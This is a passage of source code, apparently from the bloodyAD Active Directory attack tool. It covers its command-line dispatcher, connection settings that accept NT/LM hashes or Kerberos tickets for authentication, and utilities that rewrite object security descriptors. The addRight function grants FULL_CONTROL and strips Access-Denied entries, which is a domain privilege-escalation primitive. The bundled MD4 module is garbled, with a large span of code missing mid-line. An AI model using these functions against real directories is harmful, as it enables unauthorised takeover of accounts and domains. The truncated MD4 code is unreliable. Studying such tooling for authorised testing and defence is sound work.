= f"--{param_name}" 133 | parser_args["default"] = param_signature.default 134 | 135 | # If param_type is not a string describing a type it's a literal with a restricted set of values 136 | if "Literal" in str(param_value): 137 | parser_args["choices"] = param_value.__args__ 138 | parser_args["type"] = type(param_value.__args__[0]) 139 | else: 140 | if param_value.__name__ == "bool": 141 | parser_args["action"] = "store_true" 142 | elif param_value.__name__ == "list": 143 | parser_args["action"] = "append" 144 | parser_args["type"] = str 145 | else: 146 | parser_args["type"] = param_value 147 | 148 | subsubparser.add_argument(arg_name, **parser_args) 149 | # If a function name is provided in cli, arg.func will exist with function as value 150 | subsubparser.set_defaults(func=function) 151 | 152 | # Preprocess the input arguments because nargs ? and * can capture subparsers commands if put at the end 153 | # So we always put the --host option at the end 154 | input_args = sys.argv[1:] 155 | isHost = False 156 | parsed_args = [] 157 | host_arg = None 158 | for arg in input_args: 159 | if arg == "--host": 160 | isHost = True 161 | elif isHost: 162 | isHost = False 163 | host_arg = arg 164 | elif arg in submodnames: 165 | parsed_args.append("--host") 166 | parsed_args.append(host_arg) 167 | parsed_args.append(arg) 168 | else: 169 | parsed_args.append(arg) 170 | args = parser.parse_args(parsed_args) 171 | 172 | if "func" not in args: 173 | parser.print_help(sys.stderr) 174 | sys.exit(1) 175 | # Get the list of parameters to provide to the command 176 | param_names = args.func.__code__.co_varnames[1 : args.func.__code__.co_argcount] 177 | params = {param_name: vars(args)[param_name] for param_name in param_names} 178 | 179 | # Configure loggers # 180 | 181 | # Doesn't work when launching new threads in bloodyAD.ldap so we'll use propagate to false below 182 | # # Enable all children loggers in debug mode 183 | # logging.getLogger().setLevel(logging.DEBUG) 184 | # # Make the root logger quiet 185 | # # WARNING: operation below is not thread safe! 186 | # logging.getLogger().handlers = [] 187 | 188 | handler = logging.StreamHandler(sys.stdout) 189 | handler.setLevel(logging.DEBUG) 190 | formatter = logging.Formatter("%(message)s") 191 | handler.setFormatter(formatter) 192 | exceptions.LOG.addHandler(handler) 193 | exceptions.LOG.setLevel(getattr(logging, args.verbose)) 194 | exceptions.LOG.propagate = False 195 | # We show msldap logs only if debug is enabled 196 | # import msldap 197 | # if args.verbose == "DEBUG": 198 | # msldap.logger.handlers = [] 199 | # handler = logging.StreamHandler(sys.stdout) 200 | # handler.setLevel(logging.DEBUG) 201 | # formatter = logging.Formatter('[msldap] %(message)s') 202 | # handler.setFormatter(formatter) 203 | # msldap.logger.addHandler(handler) 204 | # msldap.logger.setLevel(logging.DEBUG) 205 | # msldap.logger.propagate = False 206 | 207 | # Launch the command 208 | conn = ConnectionHandler(args=args) 209 | try: 210 | output = args.func(conn, **params) 211 | 212 | # Prints output, will print it directly if it's not an iterable 213 | # Output is expected to be of type [{name:[members]},{...}...] 214 | # If it's not, will print it raw 215 | output_type = type(output) 216 | if not output or output_type == bool: 217 | return 218 | 219 | if output_type not in [list, dict, types.GeneratorType]: 220 | print("\n" + output) 221 | return 222 | 223 | for entry in output: 224 | print() 225 | for attr_name, attr_val in entry.items(): 226 | entry_str = print_entry(attr_name, attr_val) 227 | if not (entry_str is None or entry_str == ""): 228 | print(f"{attr_name}: {entry_str}") 229 | 230 | # Close the connection properly anyway 231 | finally: 232 | conn.closeLdap() 233 | 234 | 235 | # Gets unparsed doc and returns a tuple of two values 236 | # first is function description (starts at the beginning of the string and ends before two newlines) 237 | # second is a list of parameter descriptions 238 | # (other part of the string, one parameter description per line, starting with :param param_name:) 239 | def doc_parser(doc): 240 | doc_parsed = doc.splitlines() 241 | return doc_parsed[0], doc_parsed[2:] 242 | 243 | 244 | def print_entry(entryname, entry): 245 | if type(entry) in [list, set, types.GeneratorType]: 246 | i = 0 247 | simple_entries = [] 248 | length = len(entry) 249 | i_str = "" 250 | for v in entry: 251 | if length > 1: 252 | i_str = f".{i}" 253 | entry_str = print_entry(f"{entryname}{i_str}", v) 254 | i += 1 255 | if not (entry_str is None or entry_str == ""): 256 | simple_entries.append(entry_str) 257 | if simple_entries: 258 | print(f"{entryname}: {'; '.join([str(v) for v in simple_entries])}") 259 | elif type(entry) is dict: 260 | length = len(entry) 261 | k_str = "" 262 | for k in entry: 263 | if length > 1: 264 | k_str = f".{k}" 265 | entry_str = print_entry(f"{entryname}{k_str}", entry[k]) 266 | if not (entry_str is None or entry_str == ""): 267 | print(f"{entryname}.{k}: {entry_str}") 268 | else: 269 | return entry 270 | 271 | 272 | if __name__ == "__main__": 273 | main() 274 | -------------------------------------------------------------------------------- /bloodyAD/md4.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # 3 | # Copyright © 2019 James Seo (github.com/kangtastic). 4 | # 5 | # This file is released under the WTFPL, version 2 (wtfpl.net). 6 | # 7 | # md4.py: An implementation of the MD4 hash algorithm in pure Python 3. 8 | # 9 | # Description: Zounds! Yet another rendition of pseudocode from RFC1320! 10 | # Bonus points for the algorithm literally being from 1992. 11 | # 12 | # Usage: Why would anybody use this? This is self-rolled crypto, and 13 | # self-rolled *obsolete* crypto at that. DO NOT USE if you need 14 | # something "performant" or "secure". :P 15 | # 16 | # Anyway, from the command line: 17 | # 18 | # $ ./md4.py [messages] 19 | # 20 | # where [messages] are some strings to be hashed. 21 | # 22 | # In Python, use similarly to hashlib (not that it even has MD4): 23 | # 24 | # from .md4 import MD4 25 | # 26 | # digest = MD4("BEES").hexdigest() 27 | # 28 | # print(digest) # "501af1ef4b68495b5b7e37b15b4cda68" 29 | import struct 30 | 31 | 32 | class MD4: 33 | """An implementation of the MD4 hash algorithm.""" 34 | 35 | width = 32 36 | mask = 0xFFFFFFFF 37 | 38 | # Unlike, say, SHA-1, MD4 uses little-endian. Fascinating! 39 | h = [0x67452301, 0xEFCDAB89, 0x98BADCFE, 0x10325476] 40 | 41 | def __init__(self, msg=None): 42 | """:param ByteString msg: The message to be hashed.""" 43 | if msg is None: 44 | msg = b"" 45 | 46 | self.msg = msg 47 | 48 | # Pre-processing: Total length is a multiple of 512 bits. 49 | ml = len(msg) * 8 50 | msg += b"\x80" 51 | msg += b"\x00" * (-(len(msg) + 8) % 64) 52 | msg += struct.pack("> (MD4.width - n) 126 | return lbits | rbits 127 | -------------------------------------------------------------------------------- /bloodyAD/network/config.py: -------------------------------------------------------------------------------- 1 | import dataclasses 2 | from dataclasses import dataclass 3 | from bloodyAD.network.ldap import Ldap 4 | import os, socket 5 | 6 | 7 | @dataclass 8 | class Config: 9 | """Class for keeping all connection data for domain""" 10 | 11 | scheme: str = "ldap" 12 | host: str = "" 13 | domain: str = "" 14 | username: str = "" 15 | password: str = "" 16 | lmhash: str = "aad3b435b51404eeaad3b435b51404ee" 17 | nthash: str = "" 18 | kerberos: bool = False 19 | certificate: str = "" 20 | crt: str = "" 21 | key: str = "" 22 | format: str = "" 23 | dcip: str = "" 24 | krb_args: list = None 25 | kdc: str = "" 26 | kdcc: str = "" 27 | realmc: str = "" 28 | krbformat: str = "ccache" 29 | dns: str = "" 30 | timeout: int = 0 31 | 32 | def __post_init__(self): 33 | # Resolve dc ip 34 | if not self.dcip: 35 | try: 36 | self.dcip = socket.gethostbyname(self.host) 37 | except socket.gaierror as e: 38 | if e.errno == -5: 39 | raise socket.gaierror( 40 | "Can't resolve hostname provided in --host" 41 | ) from e 42 | else: 43 | raise 44 | 45 | # Parse krb args 46 | if self.krb_args is not None: 47 | self.kerberos = True 48 | for arg in self.krb_args: 49 | key, value = arg.split("=") 50 | if key == "kdc": 51 | self.kdc = value 52 | elif key == "kdcc": 53 | self.kdcc = value 54 | elif key == "realmc": 55 | self.realmc = value 56 | elif key in ["ccache", "kirbi", "keytab"]: 57 | self.key = value 58 | self.krbformat = key 59 | else: 60 | raise ValueError(f"{key} is not recognized as arg for --kerberos") 61 | 62 | if not (self.key or self.password or self.certificate): 63 | self.key = os.getenv("KRB5CCNAME") 64 | 65 | # If we have a kdc provided and user domain is different from dc domain we provide cross realm parameters 66 | if self.kdc and self.domain not in self.host: 67 | # If cross realm and no kdcc we consider it's the dc 68 | if not self.kdcc: 69 | self.kdcc = self.dcip 70 | # If cross realm and no realmc we consider it's the host suffix 71 | if not self.realmc: 72 | self.realmc = self.host.split(".", 1)[1] 73 | # If kdc hasn't been set we consider the ldap dc provided as kdc 74 | if not self.kdc: 75 | self.kdc = self.dcip 76 | 77 | # Handle case where password is hashes 78 | if self.password and ":" in self.password: 79 | lmhash_maybe, nthash_maybe = self.password.split(":") 80 | try: 81 | int(nthash_maybe, 16) 82 | except ValueError: 83 | self.lmhash, self.nthash = None, None 84 | else: 85 | if len(lmhash_maybe) == 0 and len(nthash_maybe) == 32: 86 | self.nthash = nthash_maybe 87 | self.password = f"{self.lmhash}:{self.nthash}" 88 | elif len(lmhash_maybe) == 32 and len(nthash_maybe) == 32: 89 | self.lmhash = lmhash_maybe 90 | self.nthash = nthash_maybe 91 | self.password = f"{self.lmhash}:{self.nthash}" 92 | else: 93 | self.lmhash, self.nthash = None, None 94 | 95 | # Handle case where certificate is provided 96 | if self.certificate and isinstance(self.certificate, str): 97 | if ":" in self.certificate: 98 | self.key, self.crt = self.certificate.split(":") 99 | else: 100 | self.crt = self.certificate 101 | 102 | class ConnectionHandler: 103 | _ldap = None 104 | 105 | def __init__(self, args=None, config=None): 106 | if args: 107 | scheme = "ldap" 108 | if args.gc: 109 | scheme = "gc" 110 | elif args.secure: 111 | scheme = "ldaps" 112 | cnf = Config( 113 | domain=args.domain, 114 | username=args.username, 115 | password=args.password, 116 | scheme=scheme, 117 | host=args.host, 118 | krb_args=args.kerberos, 119 | certificate=args.certificate, 120 | dcip=args.dc_ip, 121 | format=args.format, 122 | dns=args.dns, 123 | timeout=args.timeout, 124 | ) 125 | else: 126 | cnf = config 127 | self.conf = cnf 128 | 129 | @property 130 | def ldap(self): 131 | if not self._ldap: 132 | self._ldap = Ldap(self) 133 | elif not self._ldap.isactive: 134 | self._ldap = Ldap(self) 135 | return self._ldap 136 | 137 | def closeLdap(self): 138 | if not self._ldap: 139 | return 140 | self._ldap.close() 141 | self._ldap = None 142 | 143 | def rebind(self): 144 | self._ldap.close() 145 | self._ldap = Ldap(self) 146 | 147 | def switchUser(self, username, password): 148 | self.conf.username = username 149 | self.conf.password = password 150 | self.rebind() 151 | 152 | # kwargs takes the same arguments as the Config Class 153 | def copy(self, **kwargs): 154 | # If it's krb creds and the new host hasn't the same REALM as the previous connection we'll have to request a ticket for the new REALM from the previous kdcc if there is one, if not from the previous dc ip possible 155 | if ( 156 | self.conf.kerberos 157 | and kwargs.get("host") 158 | and self.conf.domain not in kwargs.get("host") 159 | ): 160 | kirbi_tgt = self.ldap._con.auth.selected_authentication_context.kc.ccache.get_all_tgt_kirbis()[ 161 | 0 162 | ] 163 | kwargs["key"] = kirbi_tgt.to_b64() 164 | kwargs["krbformat"] = "kirbi" 165 | kwargs["format"] = "b64" 166 | if self.conf.kdcc: 167 | kwargs["kdc"] = self.conf.kdcc 168 | else: 169 | kwargs["kdc"] = self.conf.dcip 170 | # Reset previous conf params 171 | kwargs["krb_args"] = [] 172 | kwargs["password"] = "" 173 | kwargs["kdcc"] = "" 174 | kwargs["realmc"] = "" 175 | if "dcip" not in kwargs: 176 | kwargs["dcip"] = "" 177 | 178 | newconf = dataclasses.replace(self.conf, **kwargs) 179 | return ConnectionHandler(config=newconf) 180 | -------------------------------------------------------------------------------- /bloodyAD/utils.py: -------------------------------------------------------------------------------- 1 | from bloodyAD.exceptions import LOG 2 | from bloodyAD.formatters import ( 3 | ldaptypes, 4 | accesscontrol, 5 | adschema, 6 | ) 7 | from bloodyAD.network.ldap import Scope, phantomRoot 8 | import types, base64, collections 9 | from winacl import dtyp 10 | from winacl.dtyp.security_descriptor import SECURITY_DESCRIPTOR 11 | 12 | 13 | def addRight( 14 | sd, 15 | user_sid, 16 | access_mask=accesscontrol.ACCESS_FLAGS["FULL_CONTROL"], 17 | object_type=None, 18 | ): 19 | user_sid = dtyp.sid.SID.from_string(user_sid) 20 | user_aces = [ 21 | ace 22 | for ace in sd["Dacl"].aces 23 | if ace["Ace"]["Sid"].getData() == user_sid.to_bytes() 24 | ] 25 | new_ace = accesscontrol.createACE(user_sid.to_bytes(), object_type, access_mask) 26 | if object_type: 27 | access_denied_type = ldaptypes.ACCESS_DENIED_OBJECT_ACE.ACE_TYPE 28 | else: 29 | access_denied_type = ldaptypes.ACCESS_DENIED_ACE.ACE_TYPE 30 | hasPriv = False 31 | 32 | for ace in user_aces: 33 | new_mask = new_ace["Ace"]["Mask"] 34 | mask = ace["Ace"]["Mask"] 35 | 36 | # Removes Access-Denied ACEs interfering 37 | if ace["AceType"] == access_denied_type and new_mask.hasPriv(mask["Mask"]): 38 | sd["Dacl"].aces.remove(ace) 39 | LOG.debug("[-] An interfering Access-Denied ACE has been removed:") 40 | LOG.debug(ace) 41 | # Adds ACE if not already added 42 | elif ace.hasFlag(new_ace["AceFlags"]) and mask.hasPriv(new_mask["Mask"]): 43 | hasPriv = True 44 | break 45 | 46 | if hasPriv: 47 | LOG.debug("[!] This right already exists") 48 | else: 49 | sd["Dacl"].aces.append(new_ace) 50 | 51 | isAdded = not hasPriv 52 | return isAdded 53 | 54 | 55 | def delRight( 56 | sd, 57 | user_sid, 58 | access_mask=accesscontrol.ACCESS_FLAGS["FULL_CONTROL"], 59 | object_type=None, 60 | ): 61 | isRemoved = False 62 | user_sid = dtyp.sid.SID.from_string(user_sid) 63 | user_aces = [ 64 | ace 65 | for ace in sd["Dacl"].aces 66 | if ace["Ace"]["Sid"].getData() == user_sid.to_bytes() 67 | ] 68 | if object_type: 69 | access_allowed_type = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE 70 | else: 71 | access_allowed_type = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE 72 | 73 | for ace in user_aces: 74 | mask = ace["Ace"]["Mask"] 75 | if ace["AceType"] == access_allowed_type and mask.hasPriv(access_mask): 76 | mask.removePriv(access_mask) 77 | LOG.debug("[-] Privilege Removed") 78 | if mask["Mask"] == 0: 79 | sd["Dacl"].aces.remove(ace) 80 | isRemoved = True 81 | 82 | if not isRemoved: 83 | LOG.debug("[!] No right to remove") 84 | return isRemoved 85 | 86 | 87 | def getSD( 88 | conn, 89 | object_id, 90 | ldap_attribute="nTSecurityDescriptor", 91 | control_flag=accesscontrol.DACL_SECURITY_INFORMATION, 92 | ): 93 | sd_data = next( 94 | conn.ldap.bloodysearch( 95 | object_id, attr=[ldap_attribute], control_flag=control_flag, raw=True 96 | ) 97 | ).get(ldap_attribute, []) 98 | if len(sd_data) < 1: 99 | LOG.warning( 100 | "[!] No security descriptor has been returned, a new one will be created" 101 | ) 102 | sd = accesscontrol.createEmptySD() 103 | else: 104 | sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=sd_data[0]) 105 | 106 | LOG.debug( 107 | "[*] Old Security Descriptor: " 108 | + "\t".join([SECURITY_DESCRIPTOR.from_bytes(sd).to_sddl() for sd in sd_data]) 109 | ) 110 | return sd, sd_data 111 | 112 | 113 | # First elt in grouping order is the first grouping criterium 114 | def groupBy(rows, grouping_order): 115 | try: 116 | grouping_key = grouping_order.pop() 117 | merged = groupBy(rows, grouping_order) 118 | except IndexError: # We exhausted all grouping criteriums 119 | return rows 120 | 121 | new_merge = [] 122 | for row in merged: 123 | isMergeable = False 124 | for new_row in new_merge: 125 | isMergeable = True 126 | for k in row: 127 | if k == grouping_key: 128 | continue 129 | try: 130 | if row[k] != new_row[k]: 131 | isMergeable = False 132 | break 133 | except ( 134 | KeyError 135 | ): # If one of the rows doesn't have the non grouping property, it can't be merged 136 | continue 137 | if isMergeable: 138 | new_row[grouping_key] |= row[grouping_key] 139 | break 140 | if not isMergeable: 141 | new_merge.append(row) 142 | return new_merge 143 | 144 | 145 | ACCESS_RIGHTS = { 146 | "CREATE_CHILD": (0x1,), 147 | "DELETE_CHILD": (0x2,), 148 | "LIST_CHILD": (0x4,), # LIST_CONTENTS 149 | "WRITE_VALIDATED": (0x8,), # WRITE_PROPERTY_EXTENDED 150 | "READ_PROP": (0x10,), 151 | "WRITE_PROP": (0x20,), # Does it contains WRITE VALIDATED? 152 | "DELETE_TREE": (0x40,), 153 | "LIST_OBJECT": (0x80,), 154 | "CONTROL_ACCESS": (0x100,), 155 | "DELETE": (0x10000,), 156 | "READ_SD": (0x20000,), 157 | "WRITE_DACL": (0x40000,), 158 | "WRITE_OWNER": (0x80000,), 159 | "ACCESS_SYSTEM_SECURITY": (0x1000000,), 160 | "SYNCHRONIZE": (0x100000,), 161 | } 162 | ACCESS_RIGHTS["GENERIC_EXECUTE"] = ( 163 | 0x20000000, 164 | ACCESS_RIGHTS["READ_SD"][0] | ACCESS_RIGHTS["LIST_CHILD"][0], 165 | ) 166 | ACCESS_RIGHTS["GENERIC_WRITE"] = ( 167 | 0x40000000, 168 | ACCESS_RIGHTS["READ_SD"][0] 169 | | ACCESS_RIGHTS["WRITE_PROP"][0] 170 | | ACCESS_RIGHTS["WRITE_VALIDATED"][0], 171 | ) 172 | ACCESS_RIGHTS["GENERIC_READ"] = ( 173 | 0x80000000, 174 | ACCESS_RIGHTS["READ_SD"][0] 175 | | ACCESS_RIGHTS["READ_PROP"][0] 176 | | ACCESS_RIGHTS["LIST_CHILD"][0] 177 | | ACCESS_RIGHTS["LIST_OBJECT"][0], 178 | ) 179 | ACCESS_RIGHTS["GENERIC_ALL"] = ( 180 | 0x10000000, 181 | ACCESS_RIGHTS["GENERIC_EXECUTE"][0] 182 | | ACCESS_RIGHTS["GENERIC_WRITE"][0] 183 | | ACCESS_RIGHTS["GENERIC_READ"][0] 184 | | ACCESS_RIGHTS["DELETE"][0] 185 | | ACCESS_RIGHTS["DELETE_TREE"][0] 186 | | ACCESS_RIGHTS["CONTROL_ACCESS"][0] 187 | | ACCESS_RIGHTS["CREATE_CHILD"][0] 188 | | ACCESS_RIGHTS["DELETE_CHILD"][0] 189 | | ACCESS_RIGHTS["WRITE_DACL"][0] 190 | | ACCESS_RIGHTS["WRITE_OWNER"][0], 191 | ACCESS_RIGHTS["READ_SD"][0] 192 | | ACCESS_RIGHTS["READ_PROP"][0] 193 | | ACCESS_RIGHTS["LIST_CHILD"][0] 194 | | ACCESS_RIGHTS["LIST_OBJECT"][0] 195 | | ACCESS_RIGHTS["WRITE_PROP"][0] 196 | | ACCESS_RIGHTS["WRITE_VALIDATED"][0] 197 | | ACCESS_RIGHTS["DELETE"][0] 198 | | ACCESS_RIGHTS["DELETE_TREE"][0] 199 | | ACCESS_RIGHTS["CONTROL_ACCESS"][0] 200 | | ACCESS_RIGHTS["CREATE_CHILD"][0] 201 | | ACCESS_RIGHTS["DELETE_CHILD"][0] 202 | | ACCESS_RIGHTS["WRITE_DACL"][0] 203 | | ACCESS_RIGHTS["WRITE_OWNER"][0], 204 | ) 205 | # Reverse is sorted for mask operations 206 | REVERSE_ACCESS_RIGHTS = dict( 207 | sorted( 208 | [ 209 | (mask, flag) 210 | for flag, masktuple in ACCESS_RIGHTS.items() 211 | for mask in masktuple 212 | ], 213 | reverse=True, 214 | ) 215 | ) 216 | 217 | 218 | class Right: 219 | def __init__(self, mask): 220 | self.mask = mask 221 | 222 | def __str__(self): 223 | flag_list = [] 224 | tmp_mask = self.mask 225 | for key_mask in REVERSE_ACCESS_RIGHTS: 226 | if ( 227 | key_mask & ~tmp_mask 228 | ) > 0: # Means key_mask is including bits not in tmp_mask 229 | continue 230 | remainder = ( 231 | tmp_mask & ~key_mask 232 | ) # We keep a remainder of tmp_mask with complement of key_mask if tmp_mask is bigger than key_mask 233 | flag_list.append(REVERSE_ACCESS_RIGHTS[key_mask]) 234 | tmp_mask = remainder 235 | if remainder == 0: 236 | break 237 | if tmp_mask != 0: # If there is unknown mask 238 | flag_list.append(str(tmp_mask)) 239 | return "|".join(flag_list) 240 | 241 | 242 | class Control: 243 | def __init__(self, control_enum): 244 | self.control_enum = control_enum 245 | 246 | def __str__(self): 247 | flag_str = repr(self.control_enum).split(".")[1].split(":")[0] 248 | flag_str = flag_str.replace("SE_", "") 249 | return flag_str 250 | 251 | 252 | class AceType: 253 | def __init__(self, acetype_enum): 254 | self.acetype_enum = acetype_enum 255 | 256 | def __eq__(self, o): 257 | if not isinstance(o, AceType): 258 | return NotImplemented 259 | return self.acetype_enum == o.acetype_enum 260 | 261 | def __str__(self): 262 | flag_str = repr(self.acetype_enum).split(".")[1].split(":")[0] 263 | flag_str = flag_str.replace("ACCESS_", "") 264 | flag_str = flag_str.replace("SYSTEM_", "") 265 | flag_str = flag_str.replace("_ACE_TYPE", "") 266 | return f"== {flag_str} ==" 267 | 268 | 269 | class AceFlag: 270 | def __init__(self, aceflag_enum): 271 | self.aceflag_enum = aceflag_enum 272 | 273 | def __str__(self): 274 | flag_str = repr(self.aceflag_enum).split(".")[1].split(":")[0] 275 | flag_str = flag_str.replace("_ACE_FLAG", "") 276 | flag_str = flag_str.replace("_ACE", "") 277 | return flag_str 278 | 279 | 280 | class LazyAdSchema: 281 | guids = set() 282 | sids = set() 283 | # All known guids 284 | guid_dict = { 285 | **adschema.OBJECT_TYPES, 286 | "Self": "Self", 287 | } 288 | # All known sids 289 | sid_dict = dtyp.sid.well_known_sids_sid_name_map 290 | isResolved = False 291 | 292 | # We resolve every guid/sid in one request to be more efficient 293 | # Put the load on the server instead of the client 294 | # Perfect in case of bad network 295 | def _resolveAll(self): 296 | if self.isResolved: 297 | return 298 | 299 | def domResolve(conn, sid_iter): 300 | # WARNING: only 512 filters max per request 301 | filters = [] 302 | buffer_filter = "" 303 | filter_nb = 0 304 | for sid in sid_iter: 305 | if filter_nb > 511: 306 | filters.append(buffer_filter) 307 | buffer_filter = "" 308 | filter_nb = 0 309 | buffer_filter += f"(objectSid={sid})" 310 | filter_nb += 1 311 | 312 | if conn == self.conn: 313 | for guid in self.guids: 314 | if filter_nb > 511: 315 | filters.append(buffer_filter) 316 | buffer_filter = "" 317 | filter_nb = 0 318 | guid_bin_str = "\\" + "\\".join( 319 | [ 320 | "{:02x}".format(b) 321 | for b in dtyp.guid.GUID().from_string(guid).to_bytes() 322 | ] 323 | ) 324 | buffer_filter += ( 325 | f"(rightsGuid={str(guid)})(schemaIDGUID={guid_bin_str})" 326 | ) 327 | filter_nb += 2 328 | filters.append(buffer_filter) 329 | 330 | # Search in all non application partitions 331 | for ldap_filter in filters: 332 | entries = conn.ldap.bloodysearch( 333 | "", 334 | ldap_filter=f"(|{ldap_filter})", 335 | attr=[ 336 | "name", 337 | "sAMAccountName", 338 | "objectSid", 339 | "rightsGuid", 340 | "schemaIDGUID", 341 | ], 342 | search_scope=Scope.SUBTREE, 343 | controls=[phantomRoot()], 344 | ) 345 | for entry in entries: 346 | if entry.get("objectSid"): 347 | self.sid_dict[entry["objectSid"]] = ( 348 | entry["sAMAccountName"] 349 | if entry.get("sAMAccountName") 350 | else entry["name"] 351 | ) 352 | else: 353 | if entry.get("rightsGuid"): 354 | key = entry["rightsGuid"] 355 | elif entry.get("schemaIDGUID"): 356 | key = entry["schemaIDGUID"] 357 | else: 358 | LOG.warning(f"[!] No guid/sid returned for {entry}") 359 | continue 360 | self.guid_dict[key] = entry["name"] 361 | 362 | sidmap = collections.defaultdict(list) 363 | if getattr(self.conn.conf, "transitive"): 364 | trustmap = self.conn.ldap.getTrustMap() 365 | for sid in self.sids: 366 | for dom_params in trustmap.values(): 367 | if dom_params.get("conn") and sid.startswith(dom_params["domsid"]): 368 | sidmap[dom_params["conn"]].append(sid) 369 | for conn, sidlist in sidmap.items(): 370 | domResolve(conn, sidlist) 371 | else: 372 | domResolve(self.conn, self.sids) 373 | 374 | # Cleanup resolved ids from queues 375 | self.isResolved = True 376 | self.guids = set() 377 | self.sids = set() 378 | 379 | def addguid(self, guid): 380 | # Should not add in set to resolve after if it is already resolved 381 | if guid not in self.guid_dict: 382 | self.guids.add(guid) 383 | 384 | def addsid(self, sid): 385 | # Should not add in set to resolve after if it is already resolved 386 | if sid not in self.sid_dict: 387 | self.sids.add(sid) 388 | 389 | # Return name mapped to the guid 390 | def getguid(self, guid): 391 | try: 392 | return self.guid_dict[guid] 393 | except KeyError: 394 | if not self.isResolved: 395 | self._resolveAll() 396 | return self.getguid(guid) 397 | else: 398 | return guid 399 | 400 | # Return name mapped to the sid 401 | def getsid(self, sid): 402 | try: 403 | return self.sid_dict[sid] 404 | except KeyError: 405 | if not self.isResolved: 406 | self._resolveAll() 407 | return self.getsid(sid) 408 | else: 409 | return sid 410 | 411 | 412 | global_lazy_adschema = LazyAdSchema() 413 | 414 | 415 | class LazyGuid: 416 | def __init__(self, guid): 417 | self.guid = guid 418 | global_lazy_adschema.addguid(guid) 419 | 420 | def __str__(self): 421 | return global_lazy_adschema.getguid(self.guid) 422 | 423 | 424 | class LazySid: 425 | def __init__(self, sid): 426 | self.sid = sid 427 | global_lazy_adschema.addsid(sid) 428 | 429 | def __str__(self): 430 | return global_lazy_adschema.getsid(self.sid) 431 | 432 | 433 | def aceFactory(k, a): 434 | if k == "Trustee": 435 | return LazySid(a) 436 | elif k == "Right": 437 | return Right(a) 438 | elif k in ("ObjectType", "InheritedObjectType"): 439 | return LazyGuid(a) 440 | elif k == "Flags": 441 | return AceFlag(a) 442 | else: 443 | return a 444 | 445 | 446 | def renderSD(sddl, conn): 447 | global_lazy_adschema.conn = conn 448 | sd = SECURITY_DESCRIPTOR.from_sddl(sddl) 449 | # We don't print Revision because it's always 1, 450 | # Group isn't used in ADDS 451 | renderedSD = {"Owner": LazySid(str(sd.Owner)), "Control": Control(sd.Control)} 452 | rendered_aces = [] 453 | allAces = [] 454 | if sd.Dacl: 455 | allAces += sd.Dacl.aces 456 | if sd.Sacl: 457 | allAces += sd.Sacl.aces 458 | for ace in allAces: 459 | rendered_ace = { 460 | "Type": AceType(ace.AceType), 461 | "Trustee": set([str(ace.Sid)]), 462 | "Right": ace.Mask, 463 | "ObjectType": set(), 464 | "InheritedObjectType": set(), 465 | "Flags": ace.AceFlags, 466 | } 467 | 468 | if hasattr(ace, "ObjectType") and ace.ObjectType: 469 | object_guid_str = str(ace.ObjectType) 470 | else: 471 | object_guid_str = "Self" 472 | rendered_ace["ObjectType"].add(object_guid_str) 473 | if hasattr(ace, "InheritedObjectType") and ace.InheritedObjectType: 474 | rendered_ace["InheritedObjectType"].add(str(ace.InheritedObjectType)) 475 | 476 | rendered_aces.append(rendered_ace) 477 | 478 | grouped_aces = groupBy( 479 | rendered_aces, 480 | ["ObjectType", "Trustee", "Flags", "InheritedObjectType", "Right"], 481 | ) 482 | typed_aces = [] 483 | for ace in grouped_aces: 484 | typed_ace = {} 485 | for k, v in ace.items(): 486 | if not v: 487 | continue 488 | try: 489 | typed_ace[k] = [] 490 | for a in v: # If it's a set of guids/sids 491 | typed_ace[k].append(aceFactory(k, a)) 492 | except TypeError: # If it's a mask 493 | typed_ace[k] = aceFactory(k, v) 494 | 495 | typed_aces.append(typed_ace) 496 | 497 | renderedSD["ACL"] = typed_aces 498 | 499 | return renderedSD 500 | 501 | 502 | def renderSearchResult(entries): 503 | """ 504 | Takes entries of type Iterator({dn: },{...}...) 505 | Returns entries as is but with base64 instead of raw bytes if not decodable in utf-8 506 | Sorts entry alphabetically too 507 | """ 508 | decoded_entry = {} 509 | for entry in entries: 510 | entry = { 511 | **{"distinguishedName": entry["distinguishedName"]}, 512 | **{k: v for k, v in sorted(entry.items()) if k != "distinguishedName"}, 513 | } 514 | for attr_name, attr_members in entry.items(): 515 | if type(attr_members) in [list, types.GeneratorType]: 516 | decoded_entry[attr_name] = [] 517 | for member in attr_members: 518 | if type(member) is bytes: 519 | try: 520 | decoded = member.decode() 521 | except UnicodeDecodeError: 522 | decoded = base64.b64encode(member).decode() 523 | else: 524 | decoded = member 525 | decoded_entry[attr_name].append(decoded) 526 | else: 527 | if type(attr_members) is bytes: 528 | try: 529 | decoded = attr_members.decode() 530 | except UnicodeDecodeError: 531 | decoded = base64.b64encode(attr_members).decode() 532 | else: 533 | decoded = attr_members 534 | decoded_entry[attr_name] = decoded 535 | yield decoded_entry 536 | decoded_entry = {} 537 | 538 | 539 | def findCompatibleDC(conn, min_version, max_version, scope: str = "DOMAIN"): 540 | """ 541 | Finds a compatible Domain Controller in the domain, forest or inter-forest. 542 | 543 | Returns a list of hostnames with their IPs of compatible DCs. 544 | """ 545 | if scope not in {"DOMAIN", "FOREST", "EXTERNAL"}: 546 | raise ValueError("Invalid scope. Scope must be 'DOMAIN', 'FOREST', or 'EXTERNAL'.") 547 | 548 | dc_dict = collections.defaultdict(dict) 549 | base_dn = "" 550 | 551 | # Check if KeyCredential is supported on current DC or find alternative DC 552 | for dc_info in conn.ldap.bloodysearch( 553 | base_dn, 554 | "(|(objectClass=nTDSDSA)(objectClass=server))", 555 | search_scope=Scope.SUBTREE, 556 | attr=["msDS-Behavior-Version", "msDS-HasDomainNCs", "objectClass", "dNSHostName"], 557 | raw=True, 558 | ): 559 | if b"nTDSDSA" in dc_info["objectClass"]: 560 | parent_name = dc_info["distinguishedName"].split(",", 1)[1] 561 | dc_dict[parent_name]["version"] = int(dc_info["msDS-Behavior-Version"][0]) 562 | dc_dict[parent_name]["domainNCs"] = dc_info["msDS-HasDomainNCs"] 563 | elif b"server" in dc_info["objectClass"]: 564 | dc_dict[dc_info["distinguishedName"]]["hostname"] = dc_info["dNSHostName"][0].decode() 565 | 566 | has_KeyCredential = True 567 | alt_servers = [] 568 | for dn, dc_info in dc_dict.items(): 569 | if dn == conn.ldap._serverinfo["serverName"]: 570 | if dc_info["version"] < 7: 571 | has_KeyCredential = False 572 | else: 573 | break 574 | elif dc_info["version"] > 6 and conn.ldap.domainNC.encode() in dc_info.get("domainNCs"): 575 | alt_servers.append(dc_info["hostname"]) 